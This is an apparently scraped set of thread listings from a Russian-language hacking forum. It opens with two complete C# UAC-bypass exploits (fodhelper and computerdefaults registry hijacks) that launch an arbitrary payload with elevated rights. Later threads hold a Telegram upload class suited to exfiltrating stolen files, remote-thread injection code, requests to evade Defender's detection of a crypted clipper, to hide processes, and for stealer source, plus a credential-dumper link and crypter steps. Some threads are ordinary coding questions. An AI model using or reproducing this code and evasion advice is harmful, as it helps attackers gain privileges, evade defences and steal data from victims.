                payload = @"C:\Windows\System32\cmd.exe";
            }

            try
            {
                // Registry Key Modification
                Microsoft.Win32.RegistryKey key;
                key = Registry.CurrentUser.CreateSubKey(@"Software\Classes\ms-settings\shell\open\command");
                key.SetValue("", payload, RegistryValueKind.String);
                key.SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
                key.Close();
                
                Console.WriteLine("[+] Registry Key Changed.");
            }
            catch
            {
                Console.WriteLine("[-] Unable to Modify the registry Key.");
                Console.WriteLine("[-] Exit.");
            }
            
            //Wait 5 sec before execution
            Console.WriteLine("[+] Waiting 5 seconds before execution.");
            System.Threading.Thread.Sleep(5000);
            
            // Trigger the UAC Bypass
            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo();
                startInfo.CreateNoWindow = true;
                startInfo.UseShellExecute = false;
                startInfo.FileName = "cmd.exe";
                startInfo.Arguments = @"/c start fodhelper.exe";
                Process.Start(startInfo);

                Console.WriteLine("[+] UAC Bypass Application Executed.");
            }
            catch
            {
                Console.WriteLine("[-] Unable to Execute the Application fodhelper.exe to perform the bypass.");
            }
            
            DeleteKey();
            Console.WriteLine("[-] Exit.");
        }

        static void DeleteKey()
        {
            //Wait 5 sec before cleaning
            Console.WriteLine("[+] Registry Cleaning will start in 5 seconds.");
            System.Threading.Thread.Sleep(5000);
            
            try
            {
                var rkey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\ms-settings\shell\open\command",true);

                // Validate if the Key was created
                if (rkey != null)
                {
                    try
                    {
                        Registry.CurrentUser.DeleteSubKey(@"Software\Classes\ms-settings\shell\open\command");
                    }
                    catch
                    {
                        Console.WriteLine(@"[-] Unable to the Registry key (Software\Classes\ms-settings\shell\open\command).");
                    }
                }

                Console.WriteLine("[+] Registry Cleaned.");
                //return true;
            }
            catch
            {
                Console.WriteLine("[-] Unable to Clean the Registry.");
                //return false;
            }
        }
    }
}

2 method via computerdefaults

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management;
using Microsoft.Win32;
using System.Diagnostics;

namespace UAC_Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            // Payload to be executed
            Console.WriteLine("[+] Starting Bypass UAC.");

            string payload = "";

            if (args.Length > 0)
            {
                payload = args[0];
                Console.WriteLine(@"[+] Payload to be Executed " + payload);
            }
            else
            {
                Console.WriteLine("[+] No Payload specified. Executing cmd.exe.");
                payload = @"C:\Windows\System32\cmd.exe";
            }

            try
            {
                // Registry Key Modification
                Microsoft.Win32.RegistryKey key;
                key = Registry.CurrentUser.CreateSubKey(@"Software\Classes\ms-settings\shell\open\command");
                key.SetValue("", payload, RegistryValueKind.String);
                key.SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
                key.Close();
                
                Console.WriteLine("[+] Registry Key Changed.");
            }
            catch
            {
                Console.WriteLine("[-] Unable to Modify the registry Key.");
                Console.WriteLine("[-] Exit.");
            }
            
            //Wait 5 sec before execution
            Console.WriteLine("[+] Waiting 5 seconds before execution.");
            System.Threading.Thread.Sleep(5000);
            
            // Trigger the UAC Bypass
            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo();
                startInfo.CreateNoWindow = true;
                startInfo.UseShellExecute = false;
                startInfo.FileName = "cmd.exe";
                startInfo.Arguments = @"/c start computerdefaults.exe";
                Process.Start(startInfo);

                Console.WriteLine("[+] UAC Bypass Application Executed.");
            }
            catch
            {
                Console.WriteLine("[-] Unable to Execute the Application computerdefaults.exe to perform the bypass.");
            }
            
            DeleteKey();
            Console.WriteLine("[-] Exit.");           
        }

        static void DeleteKey()
        {
            //Wait 5 sec before cleaning
            Console.WriteLine("[+] Registry Cleaning will start in 5 seconds.");
            System.Threading.Thread.Sleep(5000);
            
            try
            {
                var rkey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\ms-settings\shell\open\command",true);

                // Validate if the Key was created
                if (rkey != null)
                {
                    try
                    {
                        Registry.CurrentUser.DeleteSubKey(@"Software\Classes\ms-settings\shell\open\command");
                    }
                    catch
                    {
                        Console.WriteLine(@"[-] Unable to the Registry key (Software\Classes\ms-settings\shell\open\command).");
                    }
                }

                Console.WriteLine("[+] Registry Cleaned.");
                //return true;
            }
            catch
            {
                Console.WriteLine("[-] Unable to Clean the Registry.");
                //return false;
            }
        }
    }
}

3 method via slui.exe hijack LPE

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F9d688ee5c35d25f50f8e767738d1e8b69867b24d623ff8fa6b34fa9e143ac19c%2Fbytecode77%2Fslui- file-handler-hijack-privilege- escalation&hash=700b95f23a869c151630e1d6bdb0a0be&return_error=1)

[ GitHub - bytecode77/slui-file-handler-hijack-privilege-escalation: Slui

File Handler Hijack UAC Bypass Local Privilege Escalation ](https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation)

Slui File Handler Hijack UAC Bypass Local Privilege Escalation - bytecode77/slui-file-handler-hijack-privilege-escalation

github.com github.com

File sharing and storage made simple

Не могу вызвать функцию в другом процессе
ID: 6765d804b4103b69df3759c3
Thread ID: 50355
Created: 2021-04-06T15:15:22+0000
Last Post: 2021-04-07T14:51:51+0000
Author: Exfazo
Replies: 11 Views: 818

Всем привет, когда запускаю прогру, то процесс крашит. В чем проблема?

C:Copy to clipboard

struct ParamFnc
{
    char path[MAX_PATH];
    int data;
};

int main()
{
    DWORD addrFnc = cleoAddr + 0x20F20; //Адресс функции в чужом процессе
    ParamFnc param; //Параметры функции
    memset(&param, 0, sizeof(param));
    strcpy(param.path, (char*)"test");
    param.data = 1;
    LPVOID RemoteString = VirtualAllocEx(proc_handle, NULL, sizeof(param), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(proc_handle, RemoteString, (LPCVOID)&param, sizeof(param), NULL);
    CreateRemoteThread(proc_handle, NULL, NULL, (LPTHREAD_START_ROUTINE)addrFnc, RemoteString, NULL, NULL);
    CloseHandle(proc_handle);

    return 1;
}
How can I bypass wacatac machine learning detection? C#
ID: 6765d804b4103b69df37583c
Thread ID: 78438
Created: 2022-12-19T23:47:40+0000
Last Post: 2022-12-24T18:49:17+0000
Author: vril
Replies: 9 Views: 817

I created a clipper in C# and I am crypting it and loading the bytes into the memory. I am using Assembly.Load() to accomplish this. On runtime, Windows Defender shows “review files that's we will send...” then gets detected as wacatac machine learning.

Some of the things I have done to bypass it:
-Pumping the file to 300MB
-Changing the files assembly info and icon

I do not want to pump the file anymore because this limits the amount of downloads

What should I do to bypass this? Implement ASMI bypass? Anti emulation?

Сокрытие процесса из Task Manager
ID: 6765d804b4103b69df37590b
Thread ID: 62155
Created: 2022-01-29T14:03:22+0000
Last Post: 2022-02-08T05:55:03+0000
Author: ioioio777
Replies: 24 Views: 817

Вопрос, собственно в заголовке. Как возможно скрыть процесс из диспетчера задач?(Возможно не полностью скрыть, а хотябы впихнуть в потоки чужого процесса)

Приостанавливать саму программу при открытии Диспетчера задач - не подойдет.

Желательно без запроса прав администратора.

компиляция cpp
ID: 6765d804b4103b69df375991
Thread ID: 52986
Created: 2021-06-16T10:57:05+0000
Last Post: 2021-06-16T13:42:17+0000
Author: Chigurh
Replies: 4 Views: 816

хочу с гитхаб собрать софтину, установил вижуал с++ какие дополнительные пакеты нужны или установить какие предлагает то есть стандартные?

[C#] Отправка файлов в телеграм на базе .Net 4.0 - Без использования библиотек.
ID: 6765d804b4103b69df3759a0
Thread ID: 52614
Created: 2021-06-08T08:55:41+0000
Last Post: 2021-06-09T02:31:34+0000
Author: EmeliRouse
Replies: 2 Views: 812

Hidden content for authorized users.

Создаём класс: MultipartFormBuilder.cs

C#:Copy to clipboard

namespace TelegramSenderEx
{
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Text;

    public class MultipartFormBuilder
    {

        private static readonly string MultipartContentType = "multipart/form-data; boundary=";
        private static readonly string FileHeaderTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\nContent-Type: application/octet-stream\r\n\r\n";
        private static readonly string FormDataTemplate = "\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\";\r\n\r\n{2}";
        public string ContentType { get; private set; }
        private string Boundary { get; set; }

        Dictionary<string, FileInfo> FilesToSend { get; set; } = new Dictionary<string, FileInfo>();
        Dictionary<string, string> FieldsToSend { get; set; } = new Dictionary<string, string>();

        public MultipartFormBuilder()
        {
            Boundary = $"----------------------------{DateTime.Now.Ticks:x}";
            ContentType = $"{MultipartContentType}{Boundary}";
        }
        public void AddField(string key, string value) => FieldsToSend.Add(key, value);
        public void AddFile(FileInfo file)
        {
            string key = file.Extension.Substring(1);
            FilesToSend.Add(key, file);
        }
        public void AddFile(string key, FileInfo file) => FilesToSend.Add(key, file);
        public MemoryStream GetStream()
        {
            using var memStream = new MemoryStream();
            WriteFields(memStream);
            WriteStreams(memStream);
            WriteTrailer(memStream);
            memStream.Seek(0, SeekOrigin.Begin);
            return memStream;
        }
        private void WriteFields(Stream stream)
        {
            if (FieldsToSend.Count != 0)
            {
                foreach (KeyValuePair<string, string> fieldEntry in FieldsToSend)
                {
                    string content = string.Format(FormDataTemplate, Boundary, fieldEntry.Key, fieldEntry.Value);
                    using var fieldData = new MemoryStream(Encoding.UTF8.GetBytes(content));
                    fieldData.CopyTo(stream);
                }
            }
        }
        private void WriteStreams(Stream stream)
        {
            if (FilesToSend.Count != 0)
            {
                foreach (KeyValuePair<string, FileInfo> fileEntry in FilesToSend)
                {
                    WriteBoundary(stream);
                    string header = string.Format(FileHeaderTemplate, fileEntry.Key, fileEntry.Value.Name);
                    byte[] headerbytes = Encoding.UTF8.GetBytes(header);
                    stream.Write(headerbytes, 0, headerbytes.Length);
                    using FileStream fileData = File.OpenRead(fileEntry.Value.FullName);
                    fileData?.CopyTo(stream);
                }
            }
        }
        private void WriteBoundary(Stream stream)
        {
            byte[] boundarybytes = Encoding.UTF8.GetBytes($"\r\n--{Boundary}\r\n");
            stream.Write(boundarybytes, 0, boundarybytes.Length);
        }
        private void WriteTrailer(Stream stream)
        {
            byte[] trailer = Encoding.UTF8.GetBytes($"\r\n--{Boundary}--\r\n");
            stream.Write(trailer, 0, trailer.Length);
        }
    }
}

И ещё один класс помощник: WebClientExtensionMethods.cs

C#:Copy to clipboard

namespace TelegramSenderEx
{
    using System;
    using System.Net;

    public static class WebClientExtensionMethods
    {
        public static byte[] UploadMultipart(this WebClient client, string address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, Uri address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, string address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, method, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, method, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, method, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart, object userToken)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, method, stream.ToArray(), userToken);
        }
    }
}

И теперь самый главный класс с отправкой данных TGLog.cs

C#:Copy to clipboard

namespace TelegramSenderEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Net.Security;
    using System.Security.Cryptography.X509Certificates;
    using System.Text;

    public static class TGLog
    {
        private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) => error.Equals(SslPolicyErrors.None);

        

        /// <summary>
        /// Метод для отправки архива в телеграм канал
        /// </summary>
        /// <param name="token">Токен канала</param>
        /// <param name="chatID">Чат ID пользователя</param>
        /// <param name="сaption">Заголовок сообщения</param>
        /// <param name="pathToFile">Полный путь до файла</param>
        private static void SendFile(string token, string chatID, string сaption, string pathToFile)
        {
              #region Установка протоколов безопасности для успешной отправки файлов
              // (SecurityProtocolType)(0xc0 | 0x300 | 0xc00)
              ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
              ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                  | SecurityProtocolType.Ssl3
                  | (SecurityProtocolType)768 // Tls 11
                  | (SecurityProtocolType)3072; // Tls 12
             #endregion

             using var client = new WebClient { Proxy = null };
             var multipart = new MultipartFormBuilder();
             multipart.AddField("caption", сaption);
             multipart.AddField("chat_id", chatID);
             multipart.AddFile("document", new FileInfo(pathToFile)); // Добавление файла
             string UploadUrl = $"https://api.telegram.org/bot{token}/sendDocument?chat_id={chatID}"; // Тут ничего изменять не нужно.
             var url = new Uri(UploadUrl, UriKind.Absolute);
             var rawResponse = client.UploadMultipart(url, "POST", multipart); // Отправка файла через POST
             var response = Encoding.UTF8.GetString(rawResponse); // Для получения ответа...
         }
    }
}
Остановить выполнение модуля в процессе
ID: 6765d804b4103b69df3759c4
Thread ID: 50173
Created: 2021-04-02T06:54:43+0000
Last Post: 2021-04-02T18:48:05+0000
Author: Exfazo
Replies: 4 Views: 808

Всем привет, нужно похукать функции у dll на точке входа. То есть когда софт запускается, он загружает dll, которая сразу же начинает выполнятся, поэтому я не знаю как успевать хукать функции у dll

Библиотека для парсинга аверских логов?
ID: 6765d804b4103b69df375a09
Thread ID: 45167
Created: 2020-12-04T11:20:39+0000
Last Post: 2020-12-04T12:42:43+0000
Author: DildoFagins
Replies: 2 Views: 805

Никто не натыкался на готовую библиотеку, которая умеет парсить логи различных антивирусов и доставать оттуда алерты и другую полезную информацию? Я знаю только https://www.hexacorn.com/blog/category/software-releases/dexray/ - но там в основном упор на файлы в карантине, да и многих топовых аверов нет, а мне нужно доставать инфу из логов. Ресерчить каждого авера довольно муторно, думал, может кто-нить уже эту работу проделал и запилил библиотеку для этого.

С++ Нити(fibers) в разработке ПО и Малваря
ID: 6765d804b4103b69df3756a9
Thread ID: 124878
Created: 2024-10-15T19:16:52+0000
Last Post: 2024-10-18T19:36:53+0000
Author: hahbah
Replies: 3 Views: 803

Я вот задумался, где может это пригодиться в реальных кейса, а так же в разработке малваря, когда нити будут лучше потоков.
Кейсов сам не придумал. Хотел спросить у людей, которые больше в этом разбираются, может кто-то использовал их на практике или знает кейсы?

Для тех, кто не понимает о чем речь, вот хорошая статья:

agraphicsguynotes.com

[ Fiber in C++: Understanding the Basics

](https://agraphicsguynotes.com/posts/fiber_in_cpp_understanding_the_basics/)

Fiber, a less known concept compared with coroutine, is a pretty powerful addition to cooperative multitasking. As a graphics programmer in game industry, I totally appreciate the great flexibility that fiber brings on the table. As a matter of fact, I feel the tech is a little bit...

agraphicsguynotes.com agraphicsguynotes.com

Создаём генератор паролей на C#
ID: 6765d804b4103b69df375974
Thread ID: 52774
Created: 2021-06-10T15:07:56+0000
Last Post: 2021-09-05T00:36:10+0000
Author: EmeliRouse
Replies: 2 Views: 802

Hidden content for authorized users.

Код начинается с библиотек, нам понадобится всего одна "System", объявляем её (по стандарту она и так будет объявлена, но вдруг вы из тех кто удаляет перед началом работы все библиотеки и пишет только те, которые пригодятся при разработке

C#:Copy to clipboard

using System;

Пароль состоит из чего? Буквы (могут быть разного регистра) и цифры. Можно ещё использовать спец. символы, но в нашем примере их не будет.
Мы объявляем массив в котором будут содержаться цифры и все буквы разного регистра. У нас будут только латиница, так как я не приемлю пароли на кириллице.

C#:Copy to clipboard

string[] arr = { "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "z", "A", "E", "U", "Y", "a", "e", "i", "o", "u", "y" };

И объявляем переменную в которой будет присвоено значения пароля:

C#:Copy to clipboard

string iPass = "";

Сейчас эта переменная пуста, но в дальнейшем мы поочерёдно будем заполнять её случайными символами из массива.
Ну и чтобы выбрать случайный индекс массива нам понадобится объявить сам рандом:

C#:Copy to clipboard

Random rnd = new Random();

Осталось совсем чуть-чуть, теперь мы будем создавать сам пароль с помощью цикла "for":

C#:Copy to clipboard

for (int i = 0; i < 30; i ++)
    {
    iPass = iPass + arr[rnd.Next(0, 57)];
    }

И так, что же в цикле произошло? Мы объявили нулевую переменную, установили условие "Если i меньше 30-ти - выполнять" и добавили действие которое будет выполнятся по окончанию 1 круга цикла: "i++" - это значит что к переменной i будет прибавляться единица. Если проще говорить, то 30 - это цифра обозначающие количество символов в вашем пароле.

Внутри цикла берётся наша переменная с паролем (на данный момент пустая" и к ней прибавляется содержимое случайной ячейки массива.
arr - это имя нашего массива.
rnd - имя объявлённого нами рандома.
.Next - действия рандома, которая выбирает случайную цифру.
(0, 57) - указали ограничения между каким промежутком выбирать цифру. Промежуток не должен выходить за рамки массива. У нас 58 ячеек в массиве (если считать как нормальный человек, программа же ведёт счёт с нуля), поэтому мы указали от нуля до пятидесяти семи.

Далее выводим полученное в консольное окно:

C#:Copy to clipboard

Console.WriteLine(iPass);

И чтобы консоль не закрылась сразу после выполнения поставленной задачи поставим ключ:

C#:Copy to clipboard

Console.ReadKey();

Теперь при запуске данной программы нам будет выводится случайно сгенерированный пароль из 30 символов.
Перенести это в Windows Forms не сложно, убираем консольные команды:

C#:Copy to clipboard

Console.WriteLine(iPass);
Console.ReadKey();

Массив выбрасываем после инициализации куда вашей душе угодно, а всё остальное закидываем в любой обработчик, например кнопку.
Вывести полученное можно в label или textBox, да и вообще в любое место где есть текст, даже в название формы.

Android Java
ID: 6765d804b4103b69df3759bf
Thread ID: 50687
Created: 2021-04-15T14:24:17+0000
Last Post: 2021-04-19T17:03:44+0000
Author: jorah
Replies: 2 Views: 800

Привет, коллеги кто в теме
Такая зараза getEnabledAccessibilityServiceList
Можно как то скрыться или хук какой сделать ?
Пробовал компонет отключать, блин так он потом не поднимается после включения.
Пишите в л.с.

Язык программирования С++. Краткий курс. 2-е изд. Страуструп Бьярне [2019] [ENG/RUS]
ID: 6765d804b4103b69df3758d1
Thread ID: 64523
Created: 2022-03-20T11:45:34+0000
Last Post: 2022-04-12T21:43:28+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 1 Views: 793

xss.jpg
RUS:

[ Язык программирования С++. Краткий курс [2019] Страуструп Б..pdf -

AnonFiles ](https://anonfiles.com/Vfq690P6xd/_.2019._pdf)

anonfiles.com anonfiles.com

ENG:

[ A Tour of C++ Second Edition [2018] Stroustrup B. .pdf - AnonFiles

](https://anonfiles.com/r5q992P9xc/A_Tour_of_C_Second_Edition_2018_Stroustrup_B._pdf)

anonfiles.com anonfiles.com

Question about compiling a C program for ESXi
ID: 6765d804b4103b69df3756a0
Thread ID: 126549
Created: 2024-11-09T02:17:01+0000
Last Post: 2024-11-19T13:35:45+0000
Author: espe0n
Replies: 4 Views: 792

Hello xss.is community,

I have a question about compiling a C program for ESXi.

I'm trying to compile my program, but because ESXi uses a very old kernel and doesn't follow POSIX standards, the code doesn't work very well.

I tried to create a VM with centos7 with the minimum of libs to try to compile but it didn't work anyway.

Code:Copy to clipboard

# Build (CentOS 7)
[root@localhost main]# gcc -D_BSD_SOURCE -std=c99 main.c
# Run in (ESXi)
[root@localhost:~] ./a.out
/out: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by ./out)

I also tried compiling statically with -static but when I run it I get the following error

Code:Copy to clipboard

[root@localhost:~] ./out -copy /vmfs
Failed to backup directory: /vmfs : Function not implemented

This error is being caused in this block of code, but I know that the problem is in how I am compiling since I know other programs that do the same thing and it works

C:Copy to clipboard

DIR *dir = opendir(dirname);
if (dir == NULL)
{
    printf(“Failed to backup directory: %s : %s\n”, dirname, strerror(errno));
    return;
}

I'm testing on an ESXi 7

GameHacking book
ID: 6765d804b4103b69df3758fb
Thread ID: 63050
Created: 2022-02-16T10:39:44+0000
Last Post: 2022-02-16T15:15:24+0000
Author: UZipB
Prefix: Мануал/Книга
Replies: 2 Views: 789

Всем привет! Перевел данный сайт -https://gamehacking.academy/about (не реклама) в PDF. Вдруг кому пригодится, мне просто удобней в PDF читать. Ссылка прикреплена внизу.
Google Disk
VirusTotal

Исходники стиллера на С
ID: 6765d804b4103b69df375705
Thread ID: 113260
Created: 2024-04-24T20:29:35+0000
Last Post: 2024-04-27T16:28:43+0000
Author: stereotype
Replies: 3 Views: 784

Может у кого-нибудь есть исходники стиллера на С?

Помогите собрать проект
ID: 6765d804b4103b69df37570c
Thread ID: 112882
Created: 2024-04-19T12:27:29+0000
Last Post: 2024-04-21T09:45:06+0000
Author: origiv
Replies: 10 Views: 781

Всем привет, помогите собрать данный проект , visual studio выдает кучу ошибок. Не могу понять

github.com

[ GitHub - Meowmycks/LetMeowIn: A sophisticated, covert Windows-based

credential dumper using C++ and MASM x64. ](https://github.com/Meowmycks/LetMeowIn)

A sophisticated, covert Windows-based credential dumper using C++ and MASM x64. - Meowmycks/LetMeowIn

github.com github.com

помогите решить проблему
ID: 6765d804b4103b69df3756fd
Thread ID: 113942
Created: 2024-05-05T22:18:58+0000
Last Post: 2024-05-20T08:55:43+0000
Author: repository
Replies: 7 Views: 777

у меня такая проблема у меня телеграм бот на яве ратка я хочу сделать функцию бан ру чтоб в ру не могли билд открытьесли я сделаю просто бан ру у меня будет его давать только а мне надо как то сделать чтобы я кнопкой мог оффать и врубать если добавлю Checkbox то автообновления слетят и я хз че делать а еще один билд делать это весь код по новой писать почти

Как написать VPN/LAN Шашки на Java?
ID: 6765d804b4103b69df3759fc
Thread ID: 46024
Created: 2020-12-26T00:13:46+0000
Last Post: 2020-12-26T10:09:36+0000
Author: countervectorbase
Replies: 1 Views: 777

Помогите найти ну хоть какой-нибудь исходник "...сетевой игры LAN/VPN Шашки на java..." или какой-нибудь другой сетевой простой игры. Спасибо.

Как убрать firewall(скрыть)?
ID: 6765d804b4103b69df3758f6
Thread ID: 63310
Created: 2022-02-21T12:35:39+0000
Last Post: 2022-02-23T12:58:39+0000
Author: EmeliRouse
Replies: 7 Views: 775

Столкнулся с проблемой, инжекчу прогу, но антивирусы некоторые просят разрешение tcp для программы. Что можно сделать для того чтобы убрать, либо скрыть? данное чудо. Программа написана на C++, пробовал в брандамаузер разрешить порты, ип ничего не изменилось

Помогите разобраться в работе asp.net
ID: 6765d804b4103b69df3756bc
Thread ID: 122741
Created: 2024-09-15T10:48:39+0000
Last Post: 2024-09-21T20:26:10+0000
Author: MacTor
Replies: 5 Views: 771

Здравствуйте, прежде всего, извините за мой русский, я не очень хорошо на нем говорю.

Я уже несколько месяцев интересуюсь asp.net, но каждый раз, когда я натыкаюсь на страницу с asp.net, я не знаю, что делать и не могу ничего найти. Если у кого-то есть блоги об эксплуатации asp.net, это бы очень помогло мне разобраться в этом.

Какой компилятор лучше использовать под малвари C++?
ID: 6765d804b4103b69df375728
Thread ID: 106820
Created: 2024-01-27T15:36:30+0000
Last Post: 2024-03-22T00:50:54+0000
Author: Alexey18
Replies: 7 Views: 768

Сейчас занимаюсь скрытием импортов. Всё скрыл ручками, супер. Смотрю старую статью про LazyImport с соседнего борда, там тип, скрыв импорты - скрыл их полностью в прямом смысле.
У меня же компилятор обычный от визуалки он тянет за собой по умолчанию куча либ-
1706369477967.png
А у типа с соседнего борда вообще ничего нет- https://ibb.co/L9Wkkzv
View attachment 75077
Мне кажется или дело в компиляторе?
Может кто посоветовать легкий компилятор? Вообще чтобы прям лайт.

[C3] Implementing a C2 in C
ID: 6765d804b4103b69df375803
Thread ID: 83676
Created: 2023-03-12T21:08:15+0000
Last Post: 2023-04-02T17:16:43+0000
Author: el84
Replies: 3 Views: 766

Hello this is a new project, I started to implement a C2 in C. It still buggy and just have Raw TCP channel. It can keep simultaneous sessions and for now have just two commands which are spawning a shell and terminate the session. The code is not well organized, I need to split it in proper files so it become more clear and manageable. Any kind of tips are welcome, suggestion on changes of code are welcome too.

I will try to improve this code in my free time, hope you all enjoy. I know that there is a lot of already ready made C2, but the point here is to learn and make the code nice to extend.

Project: http://52rh4ydtapqtl36quxz6uedcmcygkef5fedb534dvgzqyufoj5xml7id.onion/el84/c3

Среда разработки для C/C++
ID: 6765d804b4103b69df3756cc
Thread ID: 120323
Created: 2024-08-06T18:30:35+0000
Last Post: 2024-08-29T12:51:58+0000
Author: user_47
Replies: 5 Views: 766

Привет форум!

Раньше для работы с исходинками на C/C++ написанных под Windows использовал VS установленную на виртуалке с виндой.
Последнее время подсел на линукс и как то не хочется с него уходить. Решил попробовать писать и собирать билды прям в линуксе. Поиск дал вариант использования MinGW. Пробовал пособирать под разные битности. Результат не такой простой оказался как из под винды. Пробовал ради интереса clang. Там также. Собирается без ошибок, только при запуске на винде или мессага "хелло ворлд" не выскакивает, или вываливается ошибка что длл какой-то не хватает. Хотя при запуске через wine в терминале линукса сообщение выходило. Также не сосвем понятно где в линуксе брать windows.h. При сборке некоторых исходников не смог решит эту проблему.

Попалась на стоковервлоу инфа что проблему можно решить собирая билды через makefile с использованием каких то доп скриптов.
Отсюда вопрос: Возможно ли собирать и писать новые билды на линуксе для винды? или нет нужды изобретать велосипед и лезть в дебри если есть тот же clang и mingw запущенные в cmd?

Замена инструкции JE на JMP в памяти процесса
ID: 6765d804b4103b69df3759cb
Thread ID: 49711
Created: 2021-03-22T17:33:24+0000
Last Post: 2021-03-22T17:48:59+0000
Author: Exfazo
Replies: 2 Views: 765

Всем привет, требуется заменить инструкции JE на JMP в памяти процесса, в откладчиках я смотрел, что инструкция JE занимает 2 байта памяти, а JMP занимает 1 байт памяти, и из-за этого у меня нету понятия как это сделать. Заранее спасибо

Пример создания шелл кода из exe\dll на C++
ID: 6765d804b4103b69df375840
Thread ID: 78527
Created: 2022-12-21T11:35:46+0000
Last Post: 2022-12-22T07:58:32+0000
Author: proxy
Replies: 14 Views: 761

Поделитесь примером. На гитхабе смотрел pe2sh и donut но ничего не понятно.

C# Шифрование строк методом RSA
ID: 6765d804b4103b69df375997
Thread ID: 52773
Created: 2021-06-10T15:00:08+0000
Last Post: 2021-06-10T18:49:22+0000
Author: EmeliRouse
Replies: 2 Views: 761

You must have at least 5 message(s) to view the content.

C# IOCP
ID: 6765d804b4103b69df375a27
Thread ID: 41898
Created: 2020-09-09T07:56:06+0000
Last Post: 2020-09-09T09:32:25+0000
Author: rushteam
Replies: 2 Views: 758

is it possible to implement io completion port to c#?

Нужен программист по C, C++
ID: 6765d804b4103b69df375a3b
Thread ID: 40520
Created: 2020-08-05T18:12:28+0000
Last Post: 2020-08-05T18:12:28+0000
Author: one_deal
Replies: 0 Views: 756

Есть класс-обертка для DLL написанная на C, есть .h-файлы с описанием интерфейса DLL. Надо на ее основе написать небольшую программу где-то 150-200 строк кода. t.me/indetails

Помогите правильно скомпилировать.
ID: 6765d804b4103b69df375a3e
Thread ID: 40321
Created: 2020-08-02T10:10:21+0000
Last Post: 2020-08-02T11:42:39+0000
Author: Ximrick
Replies: 2 Views: 755

Доброго времени суток.
Открываю исходники, указываю данные для оптарвки, собираю всё это в кучу и в результате ошибка:
1.png

Данные заполняют в соответствующих полях:22.png

nuzhen chelovek znayushii iocp C
ID: 6765d804b4103b69df3759b0
Thread ID: 51406
Created: 2021-05-05T02:10:37+0000
Last Post: 2021-05-06T05:53:52+0000
Author: jingo
Replies: 3 Views: 755

napisat' exe v VS kotorii shifruet file s ispol'zovaniem iocp
tol'ko russkogovoryashie, ne novoregi
budget 1000 zelenih
v PM za podrobnostyami

Есть у кого то rubot-cracker ?
ID: 6765d804b4103b69df3759b3
Thread ID: 51154
Created: 2021-04-27T23:59:07+0000
Last Post: 2021-04-27T23:59:07+0000
Author: whitehaker
Replies: 0 Views: 754

Ребята есть у кого то исходник или ломаная версия rubot 2021 года ? Рабочая.
Я искал по github и наткнулся на один репозиторий https://github.com/IziCSharp/rubot-cracker

В репозитории исходник самого бота 2019 года и + он идет без главного файла main который запускает проект.
В репозиторий человек просто скинул папку Debug с вирусом в exe что бы люди качали и не смогли собрать шли запускать его вирус.

В общим он ГГ
Кто может поделиться ? Не для сливов и продаж.

Themida Crypter
ID: 6765d804b4103b69df375695
Thread ID: 128223
Created: 2024-12-04T16:13:47+0000
Last Post: 2024-12-06T10:55:39+0000
Author: Vladig
Prefix: Мануал/Книга
Replies: 12 Views: 752

Basic Crypter Instructions

1. Start Themida. Select your .exe by loading it in the "Input Filename".
2. Under Protection Options check all Extra Protections Options and Encrypt Strings options
3. Under Virtual Machine, sort by complexity and check the first ones with the highest degree of complexity.
4. Select your "Output Filename" and Save.

Temp.sh | Themida.rar

Themida.png

compile help
ID: 6765d804b4103b69df3756d3
Thread ID: 120768
Created: 2024-08-14T12:15:06+0000
Last Post: 2024-08-19T16:25:02+0000
Author: Sec13B
Replies: 5 Views: 752

i need help to compile the follow c scripts :

Code:Copy to clipboard

#include <windows.h>
#include <stdio.h>
#include <winternl.h>
